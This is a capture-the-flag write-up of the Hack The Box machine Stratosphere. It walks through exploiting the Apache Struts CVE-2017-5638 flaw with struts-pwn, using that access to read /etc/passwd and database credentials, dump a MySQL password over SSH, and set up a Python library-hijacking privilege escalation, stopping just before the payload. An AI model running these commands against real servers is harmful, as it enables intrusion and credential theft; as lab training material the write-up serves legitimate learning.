Introduction

I don’t have much to say, stratosphere was a great box. Every step to completing this box was extremely logical, and you could pick up tons of neat small little tricks, coupled with a pretty unique priv. esc vector that I’ve never really seen before. Stratosphere overall was an extremely well built box. Hats off to linted for such a great creation.

Enumeration

Like with every HTB machine, lets begin with an nmap scan against Stratosphere (10.10.10.64)

root@dastinia:~/htb/stratosphere# nmap -sV -sC -Pn 10.10.10.64 -oA strat Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 19:35 EDT Nmap scan report for 10.10.10.64 Host is up (0.18s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA) | 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA) |_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519) 80/tcp open http | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Thu, 30 Aug 2018 23:36:02 GMT | Connection: close | <!doctype html> <html lang= "en" ><head><title> HTTP Status 404 | Found </title><style type= "text/css" >h1 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 22px ;} h2 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 16px ;} h3 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 14px ;} body { font-family : Tahoma , Arial , sans-serif ; color : black ; background-color : white ;} b { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ;} p { font-family : Tahoma , Arial , sans-serif ; background : white ; color : black ; font-size : 12px ;} a { color : black ;} a .name { color : black ;} .line { height : 1px ; background-color : #525D76 ; border : none ;} </ style ></ head >< body > | GetRequest : | HTTP / 1 .1 200 | Accept-Ranges : bytes | ETag : W / "1708-1519762495000" | Last-Modified : Tue , 27 Feb 2018 20 :14:55 GMT | Content-Type : text / html | Content-Length : 1708 | Date : Thu , 30 Aug 2018 23 :36:01 GMT | Connection : close | <! DOCTYPE html > | < html > | < head > | < meta charset = "utf-8" /> | < title > Stratosphere </ title > | < link rel = "stylesheet" type = "text/css" href = "main.css" > | </ head > | < body > | < div id = "background" ></ div > | < header id = "main-header" class = "hidden" > | < div class = "container" > | < div class = "content-wrap" > | < p >< i class = "fa fa-diamond" ></ i ></ p > | < nav > | class = "btn" href = "GettingStarted.html" > Get started </ a > | </ nav > | </ div > | </ div > | </ header > | < section id = "greeting" > | < div class = "container" > | < div class = "content-wrap" > | < h1 > Stratosphere < br > We protect your credit .</ h1 > | class = "btn" href = "GettingStarted.html" > Get started now </ a > | < p >< i class = "ar | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS | Content-Length: 0 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Transfer-Encoding: chunked | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | X11Probe: | HTTP/1.1 400 | Date: Thu, 30 Aug 2018 23:36:02 GMT |_ Connection: close | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Stratosphere 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Thu, 30 Aug 2018 23:36:02 GMT | Connection: close | <!doctype html><html lang=" en "><head><title>HTTP Status 404 | Found</title><style type=" text / css " > h1 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 22px ;} h2 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 16px ;} h3 { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ; font-size : 14px ;} body { font-family : Tahoma , Arial , sans-serif ; color : black ; background-color : white ;} b { font-family : Tahoma , Arial , sans-serif ; color : white ; background-color : #525D76 ;} p { font-family : Tahoma , Arial , sans-serif ; background : white ; color : black ; font-size : 12px ;} a { color : black ;} a .name { color : black ;} .line { height : 1px ; background-color : #525D76 ; border : none ;} </style></head><body> | GetRequest: | HTTP/1.1 200 | Accept-Ranges: bytes | ETag: W/"1708-1519762495000" | Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT | Content-Type: text/html | Content-Length: 1708 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | <!DOCTYPE html> | <html> | <head> | <meta charset= "utf-8" /> | <title> Stratosphere </title> | <link rel= "stylesheet" type= "text/css" href= "main.css" > | </head> | <body> | <div id= "background" ></div> | <header id= "main-header" class= "hidden" > | <div class= "container" > | <div class= "content-wrap" > | <p><i class= "fa fa-diamond" ></i></p> | <nav> | class="btn" href="GettingStarted.html">Get started </a> | </nav> | </div> | </div> | </header> | <section id= "greeting" > | <div class= "container" > | <div class= "content-wrap" > | <h1> Stratosphere <br> We protect your credit. </h1> | class="btn" href="GettingStarted.html">Get started now </a> | <p><i class= "ar | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS | Content-Length: 0 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Transfer-Encoding: chunked | Date: Thu, 30 Aug 2018 23:36:01 GMT |_ Connection: close | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Stratosphere 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at [https://nmap.org/cgi-bin/submit.cgi?new-service : ...[snip]... Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 64.22 seconds

From our enumeration we can observe that the following services are available on the host: SSH (22), HTTP Web service (80), and what appears to be another HTTP Web service (8080).

Enumerating Webservice - Port 80

Visiting the webservice on port 80 in a web browser brings us to the “Stratosphere” Web Application landing page. Most HTB boxes follow some sort of theme, or are a reference to some event. (Keeping in mind that the Equifax breach was still fresh)

Clicking on the “Getting Started” URL leads us to a “Site under construction” page as seen below.

Enumerating the site with gobuster reveals the following directories. It seems as though this application is running apache tomcat. Attempting to authenticate to the tomcat manager with usual default credentials fails.

root@dastinia:~/htb/stratosphere# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.64/ -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_strato Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.64/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 307,403,200,204,301,302 [+] Extensions : .php,.html ===================================================== /index.html (Status: 200) /manager (Status: 302) /GettingStarted.html (Status: 200) /Monitoring (Status: 302)

Visiting the /Monitorting web content redirects us to to the “Stratosphere Credit Monitoring” Application.

The application has a unique web file extension of .action which is associated with the Apache Struts url pattern. After some further research, we can learn that it is indeed a well-known extension for the Java WebSphere & Apache Struts applications.

At this particular point if you are familiar with popular infosec news/events, you would know that the U.S Credit Monitoring organization known as “Equifax” was compromised through an unpatched apache struts vulnerability. Based on the similarities, and context clues of the “Stratosphere Credit Monitoring” we can maybe assume that this application is vulnerable to the “Apache Struts” RCE vulnerability.

After some quick googling we come across the following PoC exploit for the Apache Struts, CVE-2017-5638 vulnerability called struts-pwn.

root@dastinia:~/htb/stratosphere# git clone https://github.com/mazen160/struts-pwn.git Cloning into 'struts-pwn'... remote: Counting objects: 37, done. remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37 Unpacking objects: 100% (37/37), done. root@dastinia:~/htb/stratosphere# cd struts-pwn/ root@dastinia:~/htb/stratosphere/struts-pwn# pip install -r requirements.txt Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1)) Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))

validating that the application is vulnerble with struts-pwn

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -h usage: struts-pwn.py [-h] [-u URL] [-l USEDLIST] [-c CMD] [--check] optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -l USEDLIST, --list USEDLIST Check a list of URLs. -c CMD, --cmd CMD Command to execute. (Default: id) --check Check if a target is vulnerable. root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --check [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] Status: Vulnerable! [%] Done.

verifying that we have remote code execution

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "id; uname -a" [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: id; uname -a [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8) Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux [%] Done.

Now that we know we have successful remote code execution, lets try to escalate our privileges further, and look into getting an interactive shell.

Exploitation

Exploiting Apache Struts RCE with Struts-Pwn

reading contents of /etc/passwd

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat /etc/passwd" [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: cat /etc/passwd [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ...[snip]... sshd:x:110:65534::/run/sshd:/usr/sbin/nologin lightdm:x:111:113:Light Display Manager:/var/lib/lightdm:/bin/false pulse:x:112:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false avahi:x:113:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false saned:x:114:118::/var/lib/saned:/bin/false richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false [%] Done.

Lets see what files are available to us in the current working directory of this struts application…

listing contents of current working directory

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "ls -la" [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: ls -la [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely total 24 drwxr-xr-x 5 root root 4096 Aug 30 19:46 . drwxr-xr-x 42 root root 4096 Oct 3 2017 .. lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -> /etc/tomcat8 -rw-r--r-- 1 root root 68 Oct 2 2017 db_connect drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -> ../../log/tomcat8 drwxr-xr-x 2 root root 4096 Aug 30 19:46 policy drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps lrwxrwxrwx 1 root root 19 Sep 3 2017 work -> ../../cache/tomcat8 [%] Done.

getting the contents of db_connect

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat db_connect" [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: cat db_connect [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely [ssn] user=ssn_admin pass=AWs64@on*& [users] user=admin pass=admin [%] Done.

It seems as though there is a database running on the server. We can enumerate the mysql database through the apache struts exploit. Using the mysql -e parameter we can run mysql commands non-interactively, and receive the output of the queries through stdout.

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "show databases;"' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e "show databases;" [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely Database information_schema users [%] Done.

enumerating the tables within the mysql ‘users’ database

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "use users; show tables;"' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e "use users; show tables;" [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely Tables_in_users accounts [%] Done.

receiving the contents of the accounts table

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "use users; select * from users.accounts;"' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e "use users; select * from users.accounts;" [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely fullName password username Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard [%] Done.

Attempting to ssh into the box using the richard account, and the password of 9tc*rhKuG5TyXvUJOrE^5CK7k from the mysql database results in

root@dastinia:~/htb/stratosphere/struts-pwn# ssh richard@10.10.10.64 The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established. ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts. richard@10.10.10.64's password: Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Aug 31 12:57:51 2018 from 10.10.14.108 richard@stratosphere:~$ id uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner) richard@stratosphere:~$ uname -a Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux richard@stratosphere:~$ cat user.txt e610b...[snip]...

Privilege Escalation

Upon sshing into the box we see a script called test.py (contents below) which seems to be some sort of a game where we need to find the plaintext for various hashes, at the end of the line we see a call to os.system('/root/sucess.py') We also seem to be able to run the test.py file as the root user, from the output of the sudo -l command.

richard@stratosphere:~$ sudo -l Matching Defaults entries for richard on stratosphere: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User richard may run the following commands on stratosphere: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

contents of test.py file

richard @stratosphere : ~ $ cat test . py #!/usr/bin/python3 import hashlib def question (): q1 = input ( "Solve: 5af003e100c80923ec04d65933d382cb

" ) md5 = hashlib . md5 () md5 . update ( q1 . encode ()) if not md5 . hexdigest () == "5af003e100c80923ec04d65933d382cb" : print ( "Sorry, that's not right" ) return print ( "You got it!" ) q2 = input ( "Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff

" ) sha1 = hashlib . sha1 () sha1 . update ( q2 . encode ()) if not sha1 . hexdigest () == 'd24f6fb449855ff42344feff18ee2819033529ff' : print ( "Nope, that one didn't work..." ) return print ( "WOW, you're really good at this!" ) q3 = input ( "How about this? 91ae5fc9ecbca9d346225063f23d2bd9

" ) md4 = hashlib . new ( 'md4' ) md4 . update ( q3 . encode ()) if not md4 . hexdigest () == '91ae5fc9ecbca9d346225063f23d2bd9' : print ( "Yeah, I don't think that's right." ) return print ( "OK, OK! I get it. You know how to crack hashes..." ) q4 = input ( "Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943

" ) blake = hashlib . new ( 'BLAKE2b512' ) blake . update ( q4 . encode ()) if not blake . hexdigest () == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943' : print ( "You were so close! urg... sorry rules are rules." ) return import os os . system ( '/root/success.py' ) return question ()

Running all the hashes through JTR we discover that the plaintext for the hashes are as follows:

Algo Hash Plaintext MD5 5af003e100c80923ec04d65933d382cb kaybboo! SHA1 d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi MD4 91ae5fc9ecbca9d346225063f23d2bd9 legend72 BLAKE2b512 hash redacted too long! Fhero6610

Successfully solving the challenge results in a Permissioned denied on the the sucess.py script so it seems that this may have been a false flag, and we need to do further enumeration for the proper priv. esc vector.

solving test.py

richard@stratosphere:~$ /usr/bin/python3 /home/richard/test.py Solve: 5af003e100c80923ec04d65933d382cb kaybboo! You got it! Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi WOW, you're really good at this! How about this? 91ae5fc9ecbca9d346225063f23d2bd9 legend72 OK, OK! I get it. You know how to crack hashes... Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943 Fhero6610 sh: 1: /root/success.py: Permission denied

Root via Python Library Hijacking

After researching a bit about privilege escalations related to python, you will come across the following blog-post about how to escalate privileges through python library hijacking

If you are familiar with the concept of DLL Search Order Hijacking for the Windows Operating system it’s a similar concept.

In order to exploit this vulnerability, all we have to do is create a python module (that our target script is importing) in the directory of the script that we are attempting to run. Since the test.py script imports the hashlib library we will create a hashlib.py python module, which will load our code over the original hashlib python module.

contents of our hashlib.py python file